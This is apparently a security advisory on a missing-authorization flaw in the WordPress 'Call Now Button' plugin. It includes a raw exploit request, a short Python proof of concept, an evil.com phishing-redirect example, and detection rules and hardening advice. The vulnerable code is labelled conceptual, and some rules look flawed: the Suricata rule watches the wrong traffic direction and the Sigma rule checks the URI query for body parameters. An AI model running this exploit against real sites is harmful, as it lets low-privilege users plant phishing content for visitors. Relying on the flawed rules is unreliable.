CVE-2025-11587

Executive Summary

CVE-2025-11587 is a medium-severity vulnerability in the WordPress plugin "Call Now Button – The #1 Click to Call Button" (by Nowbuttons.com). The flaw resides in the activate function, which lacks a capability check, allowing authenticated attackers with Subscriber-level access or higher to link the plugin to an attacker-controlled nowbuttons.com account. This enables the injection of malicious call buttons onto the site, potentially leading to phishing, redirection to malicious sites, or data exfiltration. The vulnerability is only exploitable on fresh installations where the plugin has not been previously configured with an API key.

WordPress Ecosystem Impact

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or any underlying server software. The attack vector is through the WordPress admin interface, leveraging the plugin's missing authorization checks.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for low-privileged users to inject malicious content into a site elevates the risk, especially for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) in the activate function of the plugin. The plugin's code likely registers an AJAX action or admin page handler for the activate function without checking current_user_can() or similar capability checks. This allows any authenticated user (Subscriber and above) to call the function.

Attack Flow:

1. Attacker registers as a Subscriber on a WordPress site running the vulnerable plugin (fresh install, no API key configured).
2. Attacker crafts a request to the activate endpoint, providing their own nowbuttons.com API key or account details.
3. The plugin links to the attacker's account, allowing the attacker to push malicious button configurations (e.g., buttons that redirect to phishing pages, load malicious scripts, or exfiltrate data).
4. The malicious buttons appear on the site, visible to all visitors.

Prerequisite: The plugin must not have been previously configured with a legitimate API key. Once a key is set, the vulnerability is no longer exploitable.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described below.

Vulnerable Code (Conceptual):

add_action('wp_ajax_activate', 'activate_plugin');
function activate_plugin() {
    // No capability check
    $api_key = $_POST['api_key'];
    update_option('call_now_button_api_key', $api_key);
    // Link to nowbuttons.com account
}

Patched Code (Conceptual):

add_action('wp_ajax_activate', 'activate_plugin');
function activate_plugin() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $api_key = sanitize_text_field($_POST['api_key']);
    update_option('call_now_button_api_key', $api_key);
    // Link to nowbuttons.com account
}

The fix requires checking for manage_options capability (Administrator-level) before processing the activation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with "Call Now Button" plugin v1.5.3 or earlier, fresh install (no API key set).
• Attacker account with Subscriber role.

Exploitation Steps:

1. Log in as Subscriber.
2. Obtain a nonce (if required) by inspecting the plugin's JavaScript or admin page.
3. Send a POST request to the WordPress AJAX endpoint:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=activate&api_key=ATTACKER_API_KEY&_ajax_nonce=VALID_NONCE

4. The plugin now links to the attacker's nowbuttons.com account.
5. Attacker logs into nowbuttons.com and configures malicious buttons (e.g., redirect to https://evil.com/phishing).
6. Malicious buttons appear on the WordPress site.

Proof-of-Concept (Python):

import requests

target_url = "https://target-site.com/wp-admin/admin-ajax.php"
session = requests.Session()
# Login as subscriber
session.post("https://target-site.com/wp-login.php", data={"log": "subscriber", "pwd": "password"})
# Get nonce (if needed) - simplified
nonce = "1234567890"
payload = {
    "action": "activate",
    "api_key": "attacker_api_key_here",
    "_ajax_nonce": nonce
}
response = session.post(target_url, data=payload)
print(response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=activate from non-admin users.
• Alert on any changes to the call_now_button_api_key option in the database.
• Monitor outbound connections to nowbuttons.com from the WordPress server.

Hardening:

• Immediately configure a legitimate API key for the plugin (if not already done).
• Restrict Subscriber capabilities using a security plugin (e.g., WPS Hide Login, User Role Editor).
• Apply the principle of least privilege: Subscribers should not have access to plugin activation endpoints.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to nowbuttons.com from the WordPress server.
• File: Modified wp_options table with call_now_button_api_key set to an unknown value.
• Log: WordPress debug log entries showing AJAX calls to activate action from Subscriber-level users.
• Behavior: Unexpected call buttons appearing on the site, especially those linking to external domains.

Detection Engineering

YARA Rule

rule CVE_2025_11587_CallNowButton_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-11587 in WordPress Call Now Button plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11587"
    strings:
        $ajax_action = "action=activate" nocase
        $api_key_param = "api_key=" nocase
        $plugin_slug = "call-now-button" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-11587 - Call Now Button Unauthorized Activation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized AJAX requests to activate the Call Now Button plugin by non-admin users.
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11587
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=activate'
        cs-uri-query|contains: 'api_key='
    condition: selection
falsepositives:
    - Legitimate admin activation
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11587 - Call Now Button Unauthorized Activation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=activate"; http_client_body; content:"api_key="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Configure a legitimate API key for the plugin if not already done. This prevents exploitation.
2. Update the plugin to the latest version (if a patch becomes available).
3. Audit user roles and remove Subscriber accounts that are not needed.

Long-term Fix:

• The vendor must release a patched version that adds capability checks (e.g., current_user_can('manage_options')) to the activate function.
• Implement nonce verification for all AJAX actions.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=activate from non-admin IPs.
• Disable the plugin if not in use.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst